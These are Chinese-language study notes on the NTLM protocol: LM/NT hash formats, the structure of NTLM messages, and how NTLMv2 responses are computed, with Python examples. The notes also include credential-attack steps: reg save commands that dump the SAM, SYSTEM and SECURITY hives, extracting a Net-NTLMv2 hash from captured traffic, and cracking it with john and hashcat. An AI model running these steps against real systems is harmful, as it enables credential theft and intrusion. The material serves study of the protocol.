【域渗透】浅淡NTLM(内网小白的NTLM学习笔记)

本文主要简单介绍下NTLM协议和基于NTLM的攻击手法,主要是对以下文章的学习、以及记录学习心得和利用方法。(NTLM Relay部分还没写完)

参考文章:

如果英语能力OK的话 十分推荐将这篇文章http://davenport.sourceforge.net/ntlm.html 和微软的MS-NLMP文档一起阅读

0x01 NTLM 介绍

Windows 认证主要分为Kerberos认证和NTLM认证。

Windows内部是不保存密码的,保存的是密码的hash值(如同Linux一般),本机用户的密码文件自然是存放在SAM文件中。

文件位置在:%SystemRoot%\system32\config\SAM

在注册表中的存储位置为:hklm\sam\sam\domains\account\users\下(必须使用SYSTEM权限才能看到)

https://images.atsud0.me/images/post/20220228-15:31:18-_vpkMkk_mRzv6f_vpkMkk_1646033478972_vpkMkk_mRzv6f.png

我们可以通过导出注册表的方式来获取samsystem数据库的备份。

1
2
3
reg save hklm\sam sam.save
reg save hklm\system system.save
reg save hklm\security security.save

https://images.atsud0.me/images/post/20220228-15:40:43-_8x6WWc_boz5xT_8x6WWc_1646034043979_8x6WWc_boz5xT.png

我们可以使用impacket-secretdump.py脚本来导出密码存储哈希(当然也可以直接使用mimikatz等工具)

https://images.atsud0.me/images/post/20220228-15:44:46-_x0Tos9_iAnp7z_x0Tos9_1646034286903_x0Tos9_iAnp7z.png

这里我们可以发现存储用户的密码的格式为:uid:rid:lmhash:nthash

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:35b5a70f68f5ef895d52d15d8d84af6b:::

UID即 Windows的登录用户名,这个很好理解。RID则是SID的一部分,500-999为保留,一般是Windows内置的,标准用户RID从1000开始。

Windows本地认证流程

前面说到SAM文件是存储用户密码哈希值的地方,所以当我们进行本地登录的时候,Windows的认证流程应该是

用户本地登录 -> winlogon.exe 显示登录界面之类的 -> 用户输入用户密码登录 -> lsass.exe 加密用户输入的密码 计算hashSAM中进行对比。

LM Hash

LM Hash 全称LAN Manager Hash是Windows使用的最古老的密码存储,其历史可追溯到1980年代的OS / 2。在LAN Manager协议中使用,由于允许的字符集有限,因此它们很容易破解。由于LM Hash存在的问题微软在1993年引入了NT Hash。在Windows 2000版本至2003的版本系统默认使用LM哈希,当密码超过14位时,则使用NT Hash进行存储。而在Windows Visita后,默认情况下只存储NT Hash,LM Hash则不再使用。如果用户密码为空或者不存储LM Hash的话,我们抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE

所以在Visita后,抓到的LM Hash为AAD3B435B51404EEAAD3B435B51404EE,并没有价值。(部分工具的参数需要填写固定格式LM hash:NT hash,可以将LM hash填0(LM hash可以为任意值),即00000000000000000000000000000000:NT hash

相关策略配置:本地组策略→本地策略→安全选项→网络安全:在下一次更改密码时不存储LAN管理器哈希值

https://images.atsud0.me/images/post/20220301-10:30:55-_HfbweE_q6Vsgl_HfbweE_1646101855969_HfbweE_q6Vsgl.png

注册表位置: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\NoLmHash

https://images.atsud0.me/images/post/20220301-10:31:55-_fMzxOs_xDKbQF_fMzxOs_1646101915860_fMzxOs_xDKbQF.png

NTLM Hash

Vista之后Windows系统使用的Hash,它的前身是LM Hash,两者相差不大,只是使用的加密算法不同。在Visita系统后默认使用。

NTLM Hash加密方法

  1. 将用户输入的密码转换成十六进制。假设用户密码为Admin123456,则转换后为41646d696e313233343536
  2. 将其转换为unicode格式即为:410064006d0069006e00310032003300340035003600
  3. 使用md4加密值为ae4c0d5fb959fda8f4cb1d14a8376af4

https://images.atsud0.me/images/post/20220301-18:16:13-_oshcu8_4qRkdF_oshcu8_1646129773098_oshcu8_4qRkdF.png

和存储在SAM文件里面的哈希值相同

https://images.atsud0.me/images/post/20220301-18:17:37-_r48hWR_9sNQND_r48hWR_1646129857957_r48hWR_9sNQND.png

1
2
3
4
5
6
7
8
import binascii
import hashlib

passwd = "Admin123456"
unicode_hex_passwd = passwd.encode('utf-16le')
md4_passwd=hashlib.new("md4",unicode_hex_passwd).digest()
print(binascii.hexlify(md4_passwd))

通常可以在Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash

Net-NTLM hash

Net-NTLM Hash通常是指在网络环境中在NTLM认证过程Type3(响应阶段)中的Response(NTProofStr)、Blob和Type2阶段(质询阶段)的ServerChallenge、用户名、请求的域名拼接而成的值。
格式为(Net-NTLM v2):

1
username::domain:server challenge:response(HMAC-MD5):blob

但Response通常有以下几种类型:

  • LM Response, 早期使用的响应类型
  • LMv2 Response ,在启用NTLMv2系统上将替换LM响应。
  • NTLM v1 Response ,基于Windows NT客户端,如Windows 2000 、XP。
  • NTLM v2 Response ,Windows NT Service Pack 4引入的响应类型,在NTLMv2启用的系统上将替换NTLM响应。
  • NTLM2 Session Response, 用于在没有NTLMv2身份验证的情况下协商NTLM2会话安全性时,此方案会更改LM NTLM响应的语义。
  • Anonymous Response,当匿名上下文正在建立时使用; 没有提供实际的证书,也没有真正的身份验证。“存根”字段显示在类型3消息中。

这些响应可以在本地安全策略→本地策略→安全选项→网络安全:LAN管理器身份验证级别中配置。

注册表位置为:HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel

https://images.atsud0.me/images/post/20220301-20:39:00-_XyXbuK_HvtmA4_XyXbuK_1646138340436_XyXbuK_HvtmA4.png

Value Options Description
0 发送 LM NTLM 响应 客户端使用 LM 和 NTLM 身份验证,而决不会使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。
1 发送 LM 和 NTLM - 如果已协商,则使用 NTLMv2 会话安全 客户端使用 LM 和 NTLM 身份验证并在服务器支持时使用 NTLMv2 会话安全。 域控制器接受 LM、NTLM 和 NTLMv2 身份验证。
2 仅发送 NTLM 响应 客户端只使用 NTLM 身份验证并在服务器支持时使用 NTLMv2 会话安全。 域控制器接受 LM、NTLM 和 NTLMv2 身份验证。
3 仅发送 NTLMv2 响应 客户端只使用 NTLMv2 身份验证并在服务器支持时使用 NTLMv2 会话安全。 域控制器接受 LM、NTLM 和 NTLMv2 身份验证。
4 仅发送 NTLMv2 响应/拒绝 LM 客户端只使用 NTLMv2 身份验证并在服务器支持时使用 NTLMv2 会话安全。 域控制器拒绝 LM,而只接受 NTLM 和 NTLMv2 身份验证。
5 仅发送 NTLMv2 响应/拒绝 LM 和 NTLM 客户端只使用 NTLMv2 身份验证并在服务器支持时使用 NTLMv2 会话安全。 域控制器拒绝 LM 和 NTLM,而只接受 NTLMv2 身份验证。

各系统的默认值为:

  • Windows 2000 以及 Windows XP: 发送 LM & NTLM 响应
  • Windows Server 2003: 仅发送 NTLM 响应
  • Windows Vista、Windows Server 2008、Windows 7 以及 Windows Server 2008 R2及以上: 仅发送 NTLMv2 响应

NTLM 身份认证(NTLM Challenge)

认证原理

来假设一个场景

有这么一个人,她叫”纯酱、”。她是某公司财务部的人员。某一天早晨,她登录了自己的办公电脑,正打算开始今天的工作。突然收到一封邮件。

Dear ….

由于近期xxx原因,微软官方于x年x月x日针对xxx发布了修复补丁。内部定义危险级别为严重,请各位员工立刻使用自己的内部帐号登录文件共享服务器10.1.1.5获取补丁进行更新。

信息技术部

“纯酱、”同事作为遵守公司规则制度的好员工,那肯定立刻就登录上文件共享服务器获取补丁了啊。然后”纯酱、”输入了自己的帐号密码登录10.1.1.5了。

那么这里的认证流程及本是这样工作的。

20220303-15:42:21-_oHXLkL_95JTSO_oHXLkL_1646293341668_oHXLkL_95JTSO

1、纯酱用户登录客户端电脑

2、在客户端上请求服务端服务,并输入服务器要求的帐号密码。本地将会计算并缓存输入的密码的NTLM Hash。

3、Type1阶段协商 客户端向服务器发送Type1消息,主要包含客户端支持和向服务器端请求的功能列表。(并不会发送明文用户名)

4、Type2阶段质询 服务器收到客户端Type1消息的请求,作为回应会发送Type2消息请求给客户端,主要包含Server Challenge和服务器的功能信息。(Challenge是随机生成的16位字符串)

5、Type3阶段身份验证 客户端收到服务器Type2消息后,将会从Type2消息里面提 Server Challenge,用输入的密码NTLM-hash和Server Challenge进行加密运算(根据Flags设置 加密方式亦有所不同),得到Response。然后客户端将会把Type3消息发送给服务器。

6、服务器收到Type3消息后。将根据用户名来做进一步判断,如果是本地用户的话,会在SAM数据库里面拿这个用户的NTLM Hash,在客户端发送的Response字段提取相关的字段,进行和客户端几乎一样的加密运算,得出一个Response,服务器将会拿这个Response和Type3消息 客户端生成的Response进行对比,如果一致就验证通过。如果是域用户的话,服务器将会通过netlogon协议建立安全通道,将ServerChallenge、UserName、Response消息转发给域控。域控再去ntds.dit判断用户存不存在,然后DC将进行验证工作并把返回结果给服务器,服务器再根据DC的响应返回给客户端。

所以请求的用户是本地用户还是域用户的区别在于Type3阶段之后服务器的处理方式。

下面就是介绍三个过程中的部分细节。不感兴趣就可以忽略。

Type 1 协商

这个过程主要就是客户端向服务端发送type1阶段的消息,以开启NTLM认证,并且通过一系列选项来设置身份验证规则,如果需要,它还可以告诉服务器客户端的工作站名称以及拥有的域(绝对不会发送明文用户名)。服务器可以用这些信息来确定客户端是否符合身份验证的条件。

阶段1的包文主要包含以下结构

Description Content
0 NTLMSSP Signature Null-terminated ASCII “NTLMSSP” (0x4e544c4d53535000)
8 NTLM Message Type long (0x01000000)
12 Flags long
(16) Supplied Domain (Optional) security buffer
(24) Supplied Workstation (Optional) security buffer
(32) OS Version Structure (Optional) 8 bytes
(32) (40) start of data block (if required)

https://images.atsud0.me/images/post/20220301-21:15:32-_h1tR3I_zv7H2l_h1tR3I_1646140532145_h1tR3I_zv7H2l.png

抓包信息如下:

https://images.atsud0.me/images/post/20220301-21:20:25-_Je0FhI_Lq7hM1_Je0FhI_1646140825982_Je0FhI_Lq7hM1.png

Signature (8 bytes): 8字节 必须包含字符数组:(‘N’, ‘T’, ‘L’, ‘M’, ‘S’, ‘S’, ‘P’, ‘\0’)

MessageType (4 bytes): 表示消息类型,值必须为0x0000001。

Negotiate Flags : NEGOTIATE结构体,相关的配置选项。结构体内的每个字段详细的含义都可以在https://docs.microsoft.com/zh-cn/openspecs/windows_protocols/ms-nlmp/99d90ff4-957f-4c8a-80e4-5bfe5a9a9832http://davenport.sourceforge.net/ntlm.html#theNtlmFlags了解。

Version字段取决于Negotiate Flags结构中的Negotiate Version的值。如果该值为0,则不会显示Version字段,并且该字段是否存在都不影响NTLM消息的处理。

https://images.atsud0.me/images/post/20220302-14:27:16-_W6dhps_pYcwxs_W6dhps_1646202436067_W6dhps_pYcwxs.png

如果该值为1,Version字段也会在包文中出现,并且内容基本上是为winver.exe的内容。

Version字段结构

Description Content
0 Major Version Number 1 byte
1 Minor Version Number 1 byte
2 Build Number short
4 NTLMRevisionCurrent 0x0000000f

https://images.atsud0.me/images/post/20220302-14:28:07-_M36GP0_mbSgS2_M36GP0_1646202487769_M36GP0_mbSgS2.png

https://images.atsud0.me/images/post/20220302-14:31:47-_rFI2jh_N3vREr_rFI2jh_1646202707844_rFI2jh_N3vREr.png

还有其他的字段解释:NEGOTIATE_MESSAGE

下面是一个十六进制Type1阶段的消息(关于Flag的值可以看这里:http://davenport.sourceforge.net/ntlm.html#theNtlmFlags):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
例子:
4e544c4d5353500001000000050288a000000000000000000000000000000000

0x4e544c4d53535000 NTLMSSP签名(固定格式)
0x01000000 消息类型,这里是阶段1的消息类型
0x050288a0 = 0xa0880205(以小端(低位在前)的字节排序)

05=Negotiate Unicode(0x00000001) + Request Target
(0x00000004)
02=Negotiate NTLM(0x00000200)
88=Negotiate NTLM2 Key(NEGOTIATE_EXTENDED_SESSIONSECURITY 0x00080000) + Negotiate Target Info(0x00800000)
a0=Negotiate 56(0x80000000) + Negotiate 128(0x20000000)

Flags的值中,没有表示设置了Negotiate Domain Supplied、Negotiate Workstation Supplied以及Version的值,所以后面没有SecurityBuffer、Version等字段

客户端发送Type1消息后,服务器将会分析消息,并发送一个回复(Type2消息)

Type 2 质询

Type2 消息由服务器发送给客户端,响应Type1消息,主要包含服务器生成的Challenge,并且包含Type1消息协商时的相关信息。

阶段2的包文主要包含以下结构

Description Content
0 NTLMSSP Signature Null-terminated ASCII “NTLMSSP” (0x4e544c4d53535000)
8 NTLM Message Type long (0x02000000)
12 Target Name security buffer
20 Flags long
24 Challenge 8 bytes
(32) Context (Optional) 8 bytes (two consecutive longs)
(40) Target Information (Optional) security buffer
(48) OS Version Structure (Optional) 8 bytes
32 (48) (56) start of data block

20220302-17:08:29-_TLt0Oj_FNHeyA_TLt0Oj_1646212109114_TLt0Oj_FNHeyA

Signature (8 bytes): 8字节 必须包含字符数组:(‘N’, ‘T’, ‘L’, ‘M’, ‘S’, ‘S’, ‘P’, ‘\0’)

MessageType (4 bytes): 表示消息类型,值必须为0x0000002。

Negotiate Flags(4 bytes) : NEGOTIATE结构体,相关的配置选项。和Type1消息的Negotiate Flags大致相同,不过是表示服务器支持的选项,如果有negotate_message则表示从客户端提供的选项做选择。

Target Name 包含身份验证目标的名称,通常是响应客户端在Type1消息中Flags中的Request Target选项。

ServerChallenge(8 bytes):随机生成的16位随机值。

Reserved (8 bytes):发送时必须设为0,接受时必须被忽略。

TargetInfoFields(8 bytes):值的内容通常取决于NTLMSSP_NEGOTIATE_TARGET_INFO标志有没有被设置(注:除Windows NT,Windows 2000,Windows XP和Windows Server 2003之外,始终发送TargetInfo字段。)。

要想理解每个字段的详细信息,还是建议去阅读:CHALLENGE_MESSAGE以及The Type 2 Message

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
例子
4e544c4d53535000020000000800080038000000050289a2dea8b919645716230000000000000000a200a200400000000601b11d0000000f4400430030003100020008004400430030003100010010005300450052005600450052003000310004001c006100740073007500640030002e006c00610062002e0063006f006d0003002e00530065007200760065007200300031002e006100740073007500640030002e006c00610062002e0063006f006d0005001c006100740073007500640030002e006c00610062002e0063006f006d000700080020b70cb6992bd80100000000

0x4e544c4d53535000 NTLMSSP签名

02000000 = 00000002 消息类型
0x0800 = 0x0008 TargetNameLen

0x0800 = 0x0008 TargetNameMaxLen

0x38000000 = 0x00000038 TargetNameBufferOffset

0x050289a2 = 0xa2890205 NegotiateFlags

05=Negotiate Unicode(0x00000001) + Request Target(0x00000004)

02=Negotiate NTLM(0x00000200)

89=Negotiate NTLM2 Key(NEGOTIATE_EXTENDED_SESSIONSECURITY 0x00080000) + Negotiate Target Info(0x00800000)+ Target Type Domain (0x00010000)

a2=Negotiate 56(0x80000000) + Negotiate 128(0x20000000)+ Version(0x02000000)

dea8b91964571623 Server Challenge(随机16位)

0000000000000000 Reserved

a200a20040000000 TargetInfoFields

a200 = 0x00a2 TargetInfoLen
a200 =0x00a2 TargetInfoMaxLen
40000000 = 0x00000040 TargetInfoOffset


0601b11d0000000f Version

06=0x06 Major Version
01=0x01 Minor Version
b11d=0x1db1 Build
000000 Reseved
0f = 0x0f NTLMRevisionCurrent


4400430030003100020008004400430030003100010010005300450052005600450052003000310004001c006100740073007500640030002e006c00610062002e0063006f006d0003002e00530065007200760065007200300031002e006100740073007500640030002e006c00610062002e0063006f006d0005001c006100740073007500640030002e006c00610062002e0063006f006d000700080020b70cb6992bd801
.....后面接着的payload信息就是TargetName、Targetinfo的信息

00000000 结束字段块

在服务器创建Type2消息后,将会将Type2消息发送给客户端。

Type 3 验证

Type3消息是身份验证的最后一步,该步骤是客户端对Type2消息的响应,客户端将使用输入的NTLM-Hash对服务器随机生成的Challenge值进行复杂的加密运算得到Response,将其作为Type3消息发送给服务器。
Response是最关键的部分是它向服务器证明了客户端知道用户的帐号密码。服务器收到客户端发送的Type3消息,会判断用户名是本地用户还是域用户名,如果是本地用户将会在SAM中找到这个用户的NTLM-Hash,并从客户端发送的Type3消息中提取相关字段,和客户端进行几乎一样的加密运算,最后得到的Response将会和客户端发送的Response进行比较,如果一致则认证通过。如果是在域用户的话,服务器会通过Netlogon安全通道,将Response、Username、ServerChallenge转发给域控,将验证工作交给去进行,DC将会返回结果给服务器,服务器再根据DC的响应返回给客户端。

Description Content
0 NTLMSSP Signature Null-terminated ASCII “NTLMSSP” (0x4e544c4d53535000)
8 NTLM Message Type long (0x03000000)
12 LM/LMv2 Response security buffer
20 NTLM/NTLMv2 Response security buffer
28 Target Name security buffer
36 User Name security buffer
44 Workstation Name security buffer
(52) Session Key (optional) security buffer
(60) Flags(optional) security buffer
(64) OS Version Structure (Optional) 8 bytes
52 (64) (72) start of data block

image-20220311175439495

Signature (8 bytes): 8字节 必须包含字符数组:(‘N’, ‘T’, ‘L’, ‘M’, ‘S’, ‘S’, ‘P’, ‘\0’)

MessageType (4 bytes): 表示消息类型,值必须为0x0000003。

The LM/LMv2 and NTLM/NTLMv2 responses LM/LMv2 NTLM/NTLMv2这两个响应是客户端收到Type2消息用用户输入的密码hash对Challege生成的。

LmChallengeResponseFields(8 bytes),包含LmChallengeResponseLen(2 bytes)、LmChallengeResponseMaxLen(2 bytes)、LmChallengeResponseBufferOffset(4 bytes)字段。如果客户端不发送LmChallengeResponse,Len字段则为0。
NtChallengeResponseFields (8 bytes),包含NTChallengeResponseLen(2 bytes)、NTChallengeResponseMaxLen(2 bytes)、NTChallengeResponseBufferOffset(4 bytes)字段。如果客户端不发送NTChallengeResponse,Len字段则为0。

DomainNameFields (8 bytes),包含DomainNameLen(2 bytes)、DomainNameMaxLen(2 bytes)、DomainNameBufferOffset(4 bytes)字段。如果客户端不发送DomainName,Len字段应为0。

UserNameFields (8 bytes),,包含UserNameLen(2 bytes)、UserNameMaxLen(2 bytes)、UserNameBufferOffset(4 bytes)字段。如果客户端不发送UserName,Len字段应为0。

NegotiateFlags (4 bytes):这里表示的是客户端协商的配置。

这里细说下 NTChallengeResponse,NTChallengeResponse的结构为

Description Content
Response(ntlmssp.ntlmv2_response.ntproofstr)16bytes
NTLMv2_CLIENT_CHALLENGE

而NTLMv2_CLIENT_CHALLENGE(Blob)的结构是这样的

Description Content
0 Blob Signature 0x01010000
4 Reserved long (0x00000000)
8 Timestamp 表示自1月1日1601年1月1日以來微秒的十分之一
16 Client Nonce(NTLMv2 Client Challenge) 8 bytes(随机生成)
24 Unknown 4 bytes(0x00000000)
28 Target Information 从type2阶段来的目标信息块
Unknown 4bytes

想了解每个字段的含义还是得去看官方文档AUTHENTICATE_MESSAGE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
例子:4e544c4d5353500003000000180018005a000000f000f0007200000000000000400000001a001a0040000000000000005a0000000000000062010000050288a0410064006d0069006e006900730074007200610074006f0072001a8e5080fb4a6f0a8bf3e0669eb146f37a735845757168659a792665c56f71be45ecbe9c7d7a99b0010100000000000020b70cb6992bd8017a7358457571686500000000020008004400430030003100010010005300450052005600450052003000310004001c006100740073007500640030002e006c00610062002e0063006f006d0003002e00530065007200760065007200300031002e006100740073007500640030002e006c00610062002e0063006f006d0005001c006100740073007500640030002e006c00610062002e0063006f006d000700080020b70cb6992bd80109001a0063006900660073002f00530045005200560045005200300031000000000000000000

4e544c4d53535000 NTLMSSP Signature

03000000 NTLM Message Type

180018005a000000 LM/LMv2 Respons
1800 = 0x0018 = 24 Len & MaxLen
5a000000 = 0x0000005a = 90 Offset LM/LMv2 Respons出现的位置是第90个字节的时候,长度为24。

f000f00072000000 NTLM/NTLMv2 Response
f000=0x00f0 = 240 Len & MaxLen
72000000 = 0x00000072 = 114 Offset NTLM/NTLMv2 Respons出现的位置是第240个字节的时候,Offset为114。

0000000040000000 Domain Name
0000=0x0000 Len为0 ,DomainName为空
40000000 = 0x00000040 Offset

1a001a0040000000 UserName
1a00 = 0x001a =26 Len & MaxLen
40000000 =0x00000040 offset username 长度26

000000005a000000 HostName
0000=0x0000 Len为0 ,空
5a000000 = 0x0000005a = 90 Offset

0000000062010000 SessionsKeys
0000=0x0000 Len为0 ,空
62010000 = 0x00000162 offset

050288a0 Flags 和Type1的相同


410064006d0069006e006900730074007200610074006f007200 Offset:64 长度26 A d m i n i s t r a t o r因为是unicode,所以长度是2倍




1a8e5080fb4a6f0a8bf3e0669eb146f37a73584575716865 Offset:90 长度24 LM/LMv2 Respons


9a792665c56f71be45ecbe9c7d7a99b0010100000000000020b70cb6992bd8017a7358457571686500000000020008004400430030003100010010005300450052005600450052003000310004001c006100740073007500640030002e006c00610062002e0063006f006d0003002e00530065007200760065007200300031002e006100740073007500640030002e006c00610062002e0063006f006d0005001c006100740073007500640030002e006c00610062002e0063006f006d000700080020b70cb6992bd80109001a0063006900660073002f00530045005200560045005200300031000000000000000000 NTLM/NTLMv2Response

Response 9a792665c56f71be45ecbe9c7d7a99b0
Blob 010100000000000020b70cb6992bd8017a7358457571686500000000020008004400430030003100010010005300450052005600450052003000310004001c006100740073007500640030002e006c00610062002e0063006f006d0003002e00530065007200760065007200300031002e006100740073007500640030002e006c00610062002e0063006f006d0005001c006100740073007500640030002e006c00610062002e0063006f006d000700080020b70cb6992bd80109001a0063006900660073002f00530045005200560045005200300031000000000000000000

Blob Signature 4bytes : 01010000 =0x01010000
Reserved 4 bytes : 00000000 = 0x00000000
Timestamp 8 bytes: 20b70cb6992bd801 = 0x20b70cb6992bd801
client nonce 8bytes : 7a73584575716865 = 0x7a73584575716865
end subblock: 00000000 = 0x00000000
target information: 020008004400430030003100010010005300450052005600450052003000310004001c006100740073007500640030002e006c00610062002e0063006f006d0003002e00530065007200760065007200300031002e006100740073007500640030002e006c00610062002e0063006f006d0005001c006100740073007500640030002e006c00610062002e0063006f006d000700080020b70cb6992bd80109001a0063006900660073002f005300450052005600450052003000310000000000
enbsubblock: 00000000

The NTLMv2 Response生成

这里注意NTLM/NTLMv2Response,我们可以发现NTLMv2Response里面前16 Bytes是一段HMAC-MD5生成的值。被称为Response,或者是NTProofStr。这一段值的生成方式比较复杂,受客户端和服务端Flags(参数)的影响。

简单的介绍下最基础的生成方式(根据Flags的设置 加密方式会有所不同(比如如果是NTLMv2SessionResponse计算方式就会和下面的不一样))

  1. 将明文密码转换为NTLM-Hash(前面有介绍NTLM Hash生成方式)
  2. 将用户名转换为大写,然后和域名(域名区分大小写,但是必须和Type3包文中显示的域名一致)拼接在一起,然后进行Unicode的十六进制编码转换.(这里编码始终使用Unicode即使Flags中设置了OEM).NTLM Hash作为Key 对其进行Hmac Md5加密:HMAC_MD5(((UserName).Upper()+domainName),NTLM Hash)得到ntlmV2Hash
  3. ServerChallenge和Blob进行拼接.使用第三步得到的ntlmV2hash对其进行加密:HMAC_MD5((ServerChallenge+Blob),ntlmv2hash)得到Response(NTProofStr)
  4. 将Response(NTProofStr)和Blob重新进行拼接 得到NTLMv2 Response.

Examples(案例来自:TheNTLMv2Response):

1
2
3
4
5
6
7
8
9
10
Target:DOMAIN
Username:user
Password:SecREt01
ServerChallenge:0x123456789abcdef
TargetInformation:0x02000c0044004f004d00410049004e0001000c005300450052005600450052000400140064006f006d00610069006e002e0063006f006d00030022007300650072007600650072002e0064006f006d00610069006e002e0063006f006d0000000000
Timestamp:0x0090d336b734c301
Client nonce:0xffffff0011223344

ServerChallenge+Blob:
0x0123456789abcdef01010000000000000090d336b734c301ffffff00112233440000000002000c0044004f004d00410049004e0001000c005300450052005600450052000400140064006f006d00610069006e002e0063006f006d00030022007300650072007600650072002e0064006f006d00610069006e002e0063006f006d000000000000000000

大致的python代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import binascii
import hashlib
import hmac

passwd="SecREt01"
unicode_hex_passwd = passwd.encode('utf-16le')
md4_passwd=hashlib.new("md4",unicode_hex_passwd).digest()
print(passwd,binascii.hexlify(md4_passwd))

username = "user".upper()
domain = "DOMAIN"

un_domain = username+domain
hex_undomain = un_domain.encode('utf-16le')
print("un_domain",binascii.hexlify(hex_undomain))

enc_res = hmac.new(md4_passwd,hex_undomain,hashlib.md5).digest()
print(binascii.hexlify(enc_res))

sc_blob=b"\x01\x23\x45\x67\x89\xab\xcd\xef\x01\x01\x00\x00\x00\x00\x00\x00\x00\x90\xd3\x36\xb7\x34\xc3\x01\xff\xff\xff\x00\x11\x22\x33\x44\x00\x00\x00\x00\x02\x00\x0c\x00\x44\x00\x4f\x00\x4d\x00\x41\x00\x49\x00\x4e\x00\x01\x00\x0c\x00\x53\x00\x45\x00\x52\x00\x56\x00\x45\x00\x52\x00\x04\x00\x14\x00\x64\x00\x6f\x00\x6d\x00\x61\x00\x69\x00\x6e\x00\x2e\x00\x63\x00\x6f\x00\x6d\x00\x03\x00\x22\x00\x73\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x2e\x00\x64\x00\x6f\x00\x6d\x00\x61\x00\x69\x00\x6e\x00\x2e\x00\x63\x00\x6f\x00\x6d\x00\x00\x00\x00\x00\x00\x00\x00\x00"
enc_res = hmac.new(enc_res,sc_blob,hashlib.md5).hexdigest()
print(enc_res)

20220311-11:03:36-_Ac1pO9_igOVXs_Ac1pO9_1646967816288_Ac1pO9_igOVXs

最后得到的Response将会和Blob重新拼接.成为NTLMv2 Response。

1
0xcbabbca713eb795d04c97abc01ee498301010000000000000090d336b734c301ffffff00112233440000000002000c0044004f004d00410049004e0001000c005300450052005600450052000400140064006f006d00610069006e002e0063006f006d00030022007300650072007600650072002e0064006f006d00610069006e002e0063006f006d000000000000000000

前面说到Response有六种格式,但是他们使用的加密流程都是一样,区别在于Challenge和加密算法不同,这里就不细展开说其他Response的生成方式了,感兴趣的还是去阅读推荐文章。(这里注意一下包文里的NTChallengeResponse并不等于net-ntlm hashv2)

而NTLM v1与NTLM v2区别就是Challenge与加密算法不同,共同点就是加密的都是NTLM Hash。
Net-NTLM Hash v1的格式为:

1
username::hostname:LM response:NTLM response:challenge

Net-NTLM Hash v2的格式为:

1
username::domain:challenge:NTproofstring:modifiedntlmv2response

手动获取NTLM加密

搜索ntlmssp

https://images.atsud0.me/images/post/20220301-11:02:29-_RlWy0n_fao2Fa_RlWy0n_1646103749341_RlWy0n_fao2Fa.png

找到NTLMSSP_AUTH的请求包,找到SMB2/Security Blob层。

https://images.atsud0.me/images/post/20220301-11:16:10-_sgloQU_vmHtjR_sgloQU_1646104570346_sgloQU_vmHtjR.png

在这里我们可以看到认证的用户名、域名(我这里用的是工作组)。复制用户名和域名记录起来

1
2
UserName:Administrator
DomainName:NULL

接着继续找到NTLM Response部分,找到NTLMv2 Response和NTProofStr字段,将其以16进制字段复制,记录起来。

https://images.atsud0.me/images/post/20220301-11:20:41-_hUXPKD_mFcIUW_hUXPKD_1646104841783_hUXPKD_mFcIUW.png

1
2
NTLMv2 Response:9a792665c56f71be45ecbe9c7d7a99b0010100000000000020b70cb6992bd8017a7358457571686500000000020008004400430030003100010010005300450052005600450052003000310004001c006100740073007500640030002e006c00610062002e0063006f006d0003002e00530065007200760065007200300031002e006100740073007500640030002e006c00610062002e0063006f006d0005001c006100740073007500640030002e006c00610062002e0063006f006d000700080020b70cb6992bd80109001a0063006900660073002f00530045005200560045005200300031000000000000000000
NTProofStr:9a792665c56f71be45ecbe9c7d7a99b0

将NTLMv2 Response开头和NTProofStr相同的部分值删掉

1
2
NTProofStr的值是 9a792665c56f71be45ecbe9c7d7a99b0 删除之后的NTLMv2 Response字段是:
010100000000000020b70cb6992bd8017a7358457571686500000000020008004400430030003100010010005300450052005600450052003000310004001c006100740073007500640030002e006c00610062002e0063006f006d0003002e00530065007200760065007200300031002e006100740073007500640030002e006c00610062002e0063006f006d0005001c006100740073007500640030002e006c00610062002e0063006f006d000700080020b70cb6992bd80109001a0063006900660073002f00530045005200560045005200300031000000000000000000

接着过滤ntlmssp.serverchallenge的请求包

https://images.atsud0.me/images/post/20220301-11:45:51-_Ul0i6a_yXC7Ii_Ul0i6a_1646106351100_Ul0i6a_yXC7Ii.png

同样也是过滤SMB2/Security Blob层。找到NTLM Server Challenge值

https://images.atsud0.me/images/post/20220301-11:47:31-_gEqz2i_9GWkOc_gEqz2i_1646106451085_gEqz2i_9GWkOc.png

1
NTLMServerChallenge:dea8b91964571623

然后按照以下字段组合在一起,保存到文本,然后就可以使用工具进行破解了。

1
2
3
username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response

Administrator:::dea8b91964571623:9a792665c56f71be45ecbe9c7d7a99b0:010100000000000020b70cb6992bd8017a7358457571686500000000020008004400430030003100010010005300450052005600450052003000310004001c006100740073007500640030002e006c00610062002e0063006f006d0003002e00530065007200760065007200300031002e006100740073007500640030002e006c00610062002e0063006f006d0005001c006100740073007500640030002e006c00610062002e0063006f006d000700080020b70cb6992bd80109001a0063006900660073002f00530045005200560045005200300031000000000000000000

使用john进行破解

https://images.atsud0.me/images/post/20220301-11:55:20-_DDWeBU_AY8Egu_DDWeBU_1646106920032_DDWeBU_AY8Egu.png

脚本获取NTLM加密

可以使用脚本,指定已经捕获了NTLM请求的pcap包进行获取。

https://images.atsud0.me/images/post/20220301-10:52:24-_WMlI0w_e1Gfer_WMlI0w_1646103144707_WMlI0w_e1Gfer.png

然后可以使用hashcat进行破解:

1
hashcat -m 5600 hash.txt passwordlist.txt

https://images.atsud0.me/images/post/20220301-10:57:42-_kUNQOx_7vSCj7_kUNQOx_1646103462485_kUNQOx_7vSCj7.png

SSP & SSPI

SSPI: Security Support Provider Interface 就是SSP的API接口,可以理解为该接口定义了很多安全有关的功能函数,但是没有具体的实现。然后SSP就是SSPI的实现。

SSP: Security Support Provider,直译为安全支持提供者,又名Security Package.可以理解为SSP就是一个DLL。微软实现了以下SSP,用于提供安全功能:

  1. NTLM SSP
  2. Kerberos
  3. Cred SSP
  4. Digest SSP
  5. Negotiate SSP
  6. Schannel SSP
